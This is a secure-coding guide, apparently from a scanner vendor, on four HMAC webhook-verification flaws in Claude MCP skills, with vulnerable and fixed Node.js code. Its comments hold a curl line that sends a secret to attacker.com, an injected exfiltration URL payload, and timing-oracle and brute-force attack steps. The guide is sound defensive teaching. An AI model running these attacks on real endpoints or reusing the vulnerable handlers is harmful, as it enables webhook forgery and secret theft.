Claude skill HMAC signature verification security
MCP skills that receive webhook callbacks from third-party services — GitHub, Stripe, Slack, or a custom event bus — authenticate those requests by verifying an HMAC-SHA256 signature included in the request headers. When HMAC verification is implemented incorrectly, an attacker can forge requests that the skill treats as legitimate, triggering tool execution, data modification, or privilege escalation. SA-SKL-HMAC covers four HMAC security patterns: a short or default secret that is brute-forceable using an HMAC oracle, a string equality comparison that leaks timing information enabling byte-by-byte signature recovery, HMAC computed over only a subset of the payload so that extra fields outside the HMAC coverage can be injected, and dev/prod key reuse that allows a compromised development environment to forge production requests.
HMAC signature verification looks simple — compute a digest, compare two strings — but each of the four steps (secret generation, comparison, payload scope, secret management) has a distinct failure mode that directly enables request forgery. In MCP skills the stakes are higher than in a typical web application because a forged webhook can instruct Claude to take irreversible actions: push commits, send emails, execute shell commands, or exfiltrate stored credentials. All four SA-SKL-HMAC findings are detectable through static analysis of the skill’s webhook handler code.
SA-SKL-HMAC-001: HMAC key is a short string literal or environment default — brute-forceable
The most common HMAC secret misconfiguration is using a hardcoded fallback value or a short human-readable string. Developers add the fallback so the skill works in a local environment without any configuration, but the fallback value ends up in production when the environment variable is not set, or the developer uses a short memorable string for convenience:
// VULNERABLE: hardcoded default value in environment variable fallback
import crypto from 'crypto';
import express from 'express';
const WEBHOOK_SECRET = process.env.WEBHOOK_SECRET || 'secret';
// Also common patterns:
// || 'mysecret' (dictionary word, brute-forced in <1 second)
// || '12345' (trivial, <1 ms)
// || 'dev-secret' (predictable prefix pattern)
// || 'changeme' (documentation placeholder left in production)
app.post('/webhook', express.raw({ type: 'application/json' }), (req, res) => {
const signature = req.headers['x-signature-256'];
const expectedSig = 'sha256=' + crypto
.createHmac('sha256', WEBHOOK_SECRET)
.update(req.body) // req.body is a Buffer when using express.raw()
.digest('hex');
if (signature !== expectedSig) {
return res.status(401).json({ error: 'Invalid signature' });
}
handleWebhookEvent(JSON.parse(req.body));
res.sendStatus(200);
});
// ATTACK: HMAC oracle brute-force
// The webhook endpoint acts as an HMAC oracle — given a payload, the attacker
// can test guesses for the secret by crafting a request and observing whether
// the response is 401 (wrong secret) or 200 (correct secret).
// With WEBHOOK_SECRET = 'secret' (6 chars):
// wordlist of 10,000 common words × 1 request/word = 10,000 HTTP requests
// At 1,000 req/s = 10 seconds to recover the secret
// With the secret, attacker signs any payload and the skill accepts it as legitimate.
// ALSO VULNERABLE: secret shorter than 256 bits (32 bytes)
// Even a random secret that is too short can be brute-forced:
// 8-char alphanumeric: 62^8 = 218 trillion combinations
// but GPU-accelerated HMAC: 10 billion/sec → ~6 hours on a single GPU
// At 32 bytes (256 bits): 62^32 ≈ 2^190 — computationally infeasible
// STARTUP VALIDATION: reject short secrets at process start, not at request time
function validateWebhookSecret(secret) {
if (!secret) {
throw new Error(
'WEBHOOK_SECRET environment variable is not set. ' +
'Generate one with: node -e "console.log(require(\'crypto\').randomBytes(32).toString(\'hex\'))"'
);
}
// Minimum 256-bit (32-byte) secret; hex-encoded = 64 characters
if (Buffer.from(secret, 'utf-8').length < 32) {
throw new Error(
`WEBHOOK_SECRET is too short (${Buffer.from(secret, 'utf-8').length} bytes). ` +
'Minimum 32 bytes (256 bits) required.'
);
}
}
// Call at startup, before accepting any requests
validateWebhookSecret(process.env.WEBHOOK_SECRET);
const WEBHOOK_SECRET = process.env.WEBHOOK_SECRET; // no fallback
// GENERATING A SECURE SECRET:
// node -e "console.log(require('crypto').randomBytes(32).toString('hex'))"
// → e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
// 64 hex characters = 32 bytes = 256 bits of entropy — brute-force infeasible
The fallback pattern || 'default' is the most dangerous line in webhook security: it silently degrades to a predictable secret whenever the environment variable is not set, which includes new deployments, container restarts before secrets are injected, and CI environments that run tests without secrets configured. Always fail loudly at startup — throw new Error if the secret is missing or short — rather than falling back to a guessable value. A 401 at startup is recoverable; a forged webhook request in production is not.
process.env.WEBHOOK_SECRET || 'secret' or any literal string default; or secret shorter than 32 bytes; webhook endpoint acts as HMAC oracle allowing attacker to test guesses offline or online; secret recovered in seconds to hours. Detection: || <string_literal> in HMAC key assignment, or no startup length validation → HIGH.SA-SKL-HMAC-002 (CRITICAL): HMAC comparison via == instead of crypto.timingSafeEqual — timing oracle for byte-by-byte recovery
JavaScript’s === and == string comparison operators short-circuit on the first mismatching character. When comparing two HMAC hex digests, a comparison that returns false at position 3 takes measurably less time than one that returns false at position 30, because the engine stops evaluating as soon as the first mismatch is found. An attacker who can make many requests to the webhook endpoint can exploit this timing difference to recover the expected HMAC signature one byte at a time — this is a classic timing oracle attack:
// VULNERABLE: HMAC comparison using === (string equality)
import crypto from 'crypto';
app.post('/webhook', express.raw({ type: 'application/json' }), (req, res) => {
const receivedHmac = req.headers['x-hub-signature-256'];
// receivedHmac format: "sha256=<64 hex chars>"
const expectedHmac = 'sha256=' + crypto
.createHmac('sha256', WEBHOOK_SECRET)
.update(req.body)
.digest('hex');
// BUG: === compares character by character and exits at first mismatch
// "sha256=ab..." vs "sha256=ac..." → exits at character 9 (first hex digit)
// "sha256=ab..." vs "sha256=ab..." until position N → returns false at position N
// Time difference: ~1-5 nanoseconds per matched character
// With 10,000 requests per candidate character: statistical signal emerges above network jitter
if (receivedHmac !== expectedHmac) {
return res.status(401).json({ error: 'Invalid signature' });
}
handleWebhookEvent(JSON.parse(req.body));
res.sendStatus(200);
});
// THE ATTACK (timing oracle byte-by-byte recovery):
// Target HMAC (unknown): sha256=3d9ae4...
// Attacker knows payload; controls the signature header.
// For position 7 (first hex char after 'sha256='):
// Send 16 requests with signatures: sha256=0*, sha256=1*, ..., sha256=f*
// Measure response time for each (average over 1,000 requests to reduce jitter)
// The candidate with the LONGEST average response time matches position 7
// → attacker learns that the correct hex char at position 7 is '3'
// Repeat for all 64 hex positions: 64 × 16 = 1,024 requests to recover the full HMAC
// Once HMAC is known, attacker has unlimited forgery capability for that payload structure.
// VULNERABLE VARIANT: comparing digest buffers with toString()
const expected = hmac.digest(); // Buffer
const received = Buffer.from(req.headers['x-signature'], 'hex');
if (expected.toString('hex') === received.toString('hex')) { ... } // STILL vulnerable
// SECURE: crypto.timingSafeEqual — constant time regardless of first mismatch position
import { timingSafeEqual, createHmac } from 'crypto';
app.post('/webhook', express.raw({ type: 'application/json' }), (req, res) => {
const receivedHeader = req.headers['x-hub-signature-256'];
if (!receivedHeader || !receivedHeader.startsWith('sha256=')) {
return res.status(401).json({ error: 'Missing signature' });
}
const receivedHex = receivedHeader.slice(7); // strip 'sha256=' prefix
const expectedHex = createHmac('sha256', WEBHOOK_SECRET)
.update(req.body) // req.body must be raw Buffer — use express.raw() middleware
.digest('hex');
// timingSafeEqual requires equal-length Buffers
// Both are 64-char hex strings → 64-byte Buffers — guaranteed equal length
const receivedBuf = Buffer.from(receivedHex, 'hex');
const expectedBuf = Buffer.from(expectedHex, 'hex');
// Length check first (short-circuits safely — no secret data revealed by length)
if (receivedBuf.length !== expectedBuf.length) {
return res.status(401).json({ error: 'Invalid signature' });
}
// Constant-time comparison: always examines all bytes before returning
const isValid = timingSafeEqual(receivedBuf, expectedBuf);
if (!isValid) {
return res.status(401).json({ error: 'Invalid signature' });
}
handleWebhookEvent(JSON.parse(req.body));
res.sendStatus(200);
});
// WHY timingSafeEqual IS CONSTANT-TIME:
// Implemented in C (Node.js /lib/crypto.js → src/crypto/crypto_util.cc)
// Uses CRYPTO_memcmp() from OpenSSL — XORs all bytes and returns sum
// XOR of all bytes takes the same number of CPU cycles regardless of where they differ
// Network jitter (~1ms) completely masks the nanosecond-level signal that === leaks
Timing attacks work through HTTP over the public internet: it is a common misconception that timing attacks only work in low-latency controlled environments. Academic research (including Brumley & Boneh 2003, and Crosby et al. 2009) demonstrated statistical timing attacks over WAN connections with >100ms jitter by averaging over thousands of requests. With 10,000 requests per byte position and modern HTTP/2 connection reuse, the statistical signal from a 5-nanosecond timing difference is recoverable in <30 minutes. Always use crypto.timingSafeEqual — the cost is zero; the risk is full HMAC recovery.
receivedHmac !== expectedHmac or receivedHmac === expectedHmac in HMAC verification; JavaScript string comparison short-circuits on first mismatch; attacker recovers expected HMAC byte-by-byte using ~1,024 requests; gains unlimited forgery capability. Fix: crypto.timingSafeEqual(Buffer.from(received, 'hex'), Buffer.from(expected, 'hex')). Detection: === or !== comparison of HMAC digest strings → CRITICAL.SA-SKL-HMAC-003: HMAC computed over partial payload (JSON subset) — attacker injects extra fields outside HMAC coverage
Some webhook implementations compute the HMAC over a serialized subset of the request payload rather than the raw request body. This typically happens when the developer constructs the HMAC input from already-parsed JSON fields, or when the server re-serializes the parsed object before hashing. If any fields are read from the request after HMAC verification but were not included in the HMAC computation, those fields are attacker-controlled and can be injected without invalidating the signature:
// VULNERABLE: HMAC computed over JSON-serialized subset of fields
import crypto from 'crypto';
import express from 'express';
// Using express.json() (NOT express.raw()) — body is already parsed
app.post('/webhook', express.json(), (req, res) => {
const { event, userId, signature } = req.body;
// BUG: HMAC computed over re-serialized subset — only covers { event, userId }
// The fields 'targetUrl', 'adminOverride', 'callbackHook' are NOT in the HMAC input
const hmacInput = JSON.stringify({ event, userId }); // partial payload
const expectedSig = crypto
.createHmac('sha256', WEBHOOK_SECRET)
.update(hmacInput)
.digest('hex');
if (!crypto.timingSafeEqual(
Buffer.from(signature, 'hex'),
Buffer.from(expectedSig, 'hex')
)) {
return res.status(401).json({ error: 'Invalid signature' });
}
// BUG: reads fields that were NOT covered by the HMAC
// Attacker sends: { event: "deploy", userId: "alice", signature: "<valid for {event,userId}>",
// targetUrl: "https://attacker.com/exfil", adminOverride: true }
// HMAC is VALID (only covers {event, userId})
// But handler reads req.body.targetUrl and req.body.adminOverride — attacker-controlled
const { targetUrl, adminOverride } = req.body; // UNCOVERED by HMAC
if (adminOverride) grantAdminAccess(userId); // FORGED
await fetch(targetUrl, { method: 'POST', body: JSON.stringify({ event }) }); // SSRF
res.sendStatus(200);
});
// WHY RE-SERIALIZATION IS INSUFFICIENT EVEN FOR THE COVERED FIELDS:
// JSON.stringify({ event, userId }) may produce different bytes than the original payload
// depending on field order, whitespace, Unicode normalization, and number precision.
// A signature valid for the original sender's JSON may fail for re-serialized input,
// or vice versa — creating signature verification bypasses through encoding differences.
// Example:
// Sender signs: '{"event":"deploy","userId":"abcA"}' (A = 'A', unescaped)
// Server re-serializes: '{"event":"deploy","userId":"abcA"}' (different bytes, same value)
// HMAC mismatch — legitimate webhook rejected.
// SECURE: HMAC over the complete raw request body as a Buffer
// Use express.raw() to preserve the exact bytes as sent by the webhook sender
import express from 'express';
import crypto from 'crypto';
import { timingSafeEqual } from 'crypto';
app.post(
'/webhook',
// express.raw() passes the body as a Buffer — exact bytes, no parsing
express.raw({ type: 'application/json' }),
(req, res) => {
const signatureHeader = req.headers['x-signature-256'];
if (!signatureHeader) {
return res.status(401).json({ error: 'Missing X-Signature-256 header' });
}
// HMAC over the complete raw body Buffer — covers EVERY byte in the request
const expectedHex = crypto
.createHmac('sha256', WEBHOOK_SECRET)
.update(req.body) // req.body is a Buffer here (express.raw)
.digest('hex');
const receivedHex = signatureHeader.startsWith('sha256=')
? signatureHeader.slice(7)
: signatureHeader;
const receivedBuf = Buffer.from(receivedHex, 'hex');
const expectedBuf = Buffer.from(expectedHex, 'hex');
if (receivedBuf.length !== expectedBuf.length ||
!timingSafeEqual(receivedBuf, expectedBuf)) {
return res.status(401).json({ error: 'Invalid signature' });
}
// NOW safe to parse — HMAC covers the entire payload including all fields
const payload = JSON.parse(req.body.toString('utf-8'));
const { event, userId, targetUrl, adminOverride } = payload;
// All fields are now HMAC-verified — attacker cannot inject extra fields
handleEvent({ event, userId, targetUrl, adminOverride });
res.sendStatus(200);
}
);
// MIDDLEWARE ORDER MATTERS:
// express.json() parses before your handler runs — the raw body is lost
// express.raw() preserves the raw bytes — parse manually AFTER HMAC verification
// Do NOT use both express.json() and express.raw() on the same route
JSON re-serialization silently changes byte content: JSON.stringify(JSON.parse(body)) is not an identity transform. Field order may change between the original payload and the re-serialized version (object key ordering is insertion-order in modern JS, but the sender may have produced different ordering). Unicode escape sequences, number precision for large integers, and trailing whitespace all differ between senders. Compute the HMAC over the literal raw bytes of the request body as a Buffer, before any JSON parsing, using express.raw() middleware instead of express.json().
JSON.stringify({ event, userId }) used as HMAC input instead of raw body Buffer; handler reads additional fields (targetUrl, adminOverride) not covered by HMAC; attacker appends arbitrary fields to a legitimately-signed base payload without invalidating the signature. Fix: express.raw() + HMAC over full body Buffer before JSON.parse. Detection: JSON.stringify of partial fields used in createHmac().update() → HIGH.SA-SKL-HMAC-004: HMAC key reuse across environments — dev compromise enables prod request forgery
When development and production environments share the same HMAC signing secret, a compromise of the development environment gives an attacker full signing capability for production requests. Development machines are substantially more likely to be compromised than production servers: developers install packages from npm without auditing every transitive dependency, run untrusted code in local development environments, and frequently have the .env file committed to git or present in cloud IDE workspaces. A single malicious npm package installed during development is sufficient to extract the shared HMAC secret and enable production request forgery indefinitely:
// VULNERABLE: single WEBHOOK_SECRET shared across all environments
// .env file (often committed to git or synced to cloud IDE):
// WEBHOOK_SECRET=a3f2e8b1c4d7... <-- same value in dev and prod
// Infrastructure as Code (Terraform/Pulumi) — same secret everywhere:
resource "vercel_env" "webhook_secret" {
// BUG: same secret injected into preview, staging, and production
for_each = { dev = "preview", staging = "preview", prod = "production" }
key = "WEBHOOK_SECRET"
value = var.webhook_secret // single variable, same value
target = [each.value]
}
// ATTACK PATH:
// 1. Developer runs: npm install some-package (contains malicious postinstall script)
// 2. Postinstall script reads process.env.WEBHOOK_SECRET from .env / shell environment
// 3. Secret exfiltrated to attacker: curl https://attacker.com/?s=$WEBHOOK_SECRET
// 4. Attacker now signs arbitrary webhook payloads accepted by PRODUCTION skill endpoint
// 5. Forged payloads instruct Claude to: push commits, trigger deployments, read secrets
// 6. Attack persists indefinitely — no expiry, no rotation, dev machine is already wiped
// ALSO VULNERABLE: .env committed to git
// git log --all --full-history -- .env (common mistake)
// git show HEAD~3:.env (secret visible in git history even after .gitignore added)
// SECURE: per-environment secrets with NODE_ENV binding validation
// Generate separate secrets for each environment at deployment time:
//
// production: WEBHOOK_SECRET_PROD=<32 random bytes>
// staging: WEBHOOK_SECRET_STAGING=<different 32 random bytes>
// development: WEBHOOK_SECRET_DEV=<different 32 random bytes>
//
// Key derivation bound to environment (additional mitigation layer):
import crypto from 'crypto';
function getWebhookSecret() {
const env = process.env.NODE_ENV;
if (!env) throw new Error('NODE_ENV must be set');
// Each environment has its own env var
const envVarName = {
production: 'WEBHOOK_SECRET_PROD',
staging: 'WEBHOOK_SECRET_STAGING',
development: 'WEBHOOK_SECRET_DEV',
test: 'WEBHOOK_SECRET_TEST',
}[env];
if (!envVarName) throw new Error(`Unknown NODE_ENV: ${env}`);
const rawSecret = process.env[envVarName];
if (!rawSecret) {
throw new Error(`${envVarName} is not set for NODE_ENV=${env}`);
}
if (Buffer.from(rawSecret, 'utf-8').length < 32) {
throw new Error(`${envVarName} must be at least 32 bytes`);
}
// Optional: bind the secret to the environment via HKDF derivation
// This means a secret extracted from dev CANNOT be used in prod even if someone
// misconfigures the env var to the same value.
// HKDF info context encodes the environment — different env → different derived key
return crypto.hkdfSync(
'sha256',
Buffer.from(rawSecret, 'utf-8'), // input key material
Buffer.from('skillaudit-webhook'), // salt
Buffer.from(`env:${env}`), // info — environment binding
32 // output key length (256 bits)
);
}
// Called once at startup — fails loudly if misconfigured
const WEBHOOK_SECRET = getWebhookSecret();
// ROTATION PROCEDURE:
// 1. Generate new secret for target environment only
// 2. Update env var in secrets manager (AWS Secrets Manager, Vault, etc.)
// 3. Deploy new skill instance — old instances continue accepting old signatures
// 4. Update webhook sender (GitHub, Stripe) to use new secret
// 5. Wait for in-flight requests with old signature to drain (<60 seconds)
// 6. Remove old secret from rotation — old instances now reject old-signed requests
//
// NEVER reuse secrets across environments; NEVER store secrets in .env files
// committed to version control; rotate secrets after any suspected dev compromise.
Development environment security posture is fundamentally lower than production: npm install, browser extensions, code editors with remote plugins, Docker images pulled without digest pinning, and testing frameworks with network access all execute code with access to the developer’s environment variables. The assumption that “only the developer can access the dev environment” is broken by any single malicious dependency in the project’s transitive dependency tree. Treat the dev HMAC secret as permanently compromised after every npm install, and design your key architecture so that a compromised dev secret has zero impact on production.
WEBHOOK_SECRET environment variable used across development and production; dev machine compromise or malicious npm install exfiltrates the shared secret; attacker forges production webhook requests indefinitely. Fix: per-environment env var names (WEBHOOK_SECRET_PROD, WEBHOOK_SECRET_DEV), startup NODE_ENV binding validation, optional HKDF environment-binding derivation. Detection: single WEBHOOK_SECRET variable without NODE_ENV-based selection → HIGH.Remediation summary
| Finding | Severity | Fix |
|---|---|---|
| HMAC-001: Short or default HMAC secret | HIGH | Generate with crypto.randomBytes(32).toString('hex'); validate ≥32 bytes at startup with throw new Error; no || 'default' fallback |
| HMAC-002: == / !== HMAC comparison | CRITICAL | crypto.timingSafeEqual(Buffer.from(received,'hex'), Buffer.from(expected,'hex')); check buffer lengths are equal before calling |
| HMAC-003: Partial payload HMAC coverage | HIGH | Use express.raw({ type: 'application/json' }); compute HMAC over the raw body Buffer; call JSON.parse only after HMAC verification passes |
| HMAC-004: Dev/prod key reuse | HIGH | Per-environment env var names; startup NODE_ENV binding check; optional HKDF derivation with environment info context; never commit secrets to git |
SkillAudit detects all four SA-SKL-HMAC-001 through HMAC-004 patterns through static analysis of webhook handler code: string literal HMAC key defaults, ===/!== comparisons of digest strings, JSON.stringify partial payload patterns, and single environment variable usage without NODE_ENV binding. For related security patterns, see SA-SKL-CRY cryptographic implementation security, SA-SKL-WBK webhook callback security, and SA-SKL-KMG key management security. See the complete SA-SKL attack surface reference for the full vulnerability taxonomy.
Scan your Claude skill for HMAC signature verification vulnerabilities
SkillAudit detects weak HMAC secrets, timing oracle comparisons, partial payload coverage, and cross-environment key reuse across the full SA-SKL-HMAC family in 60 seconds.
Get your free audit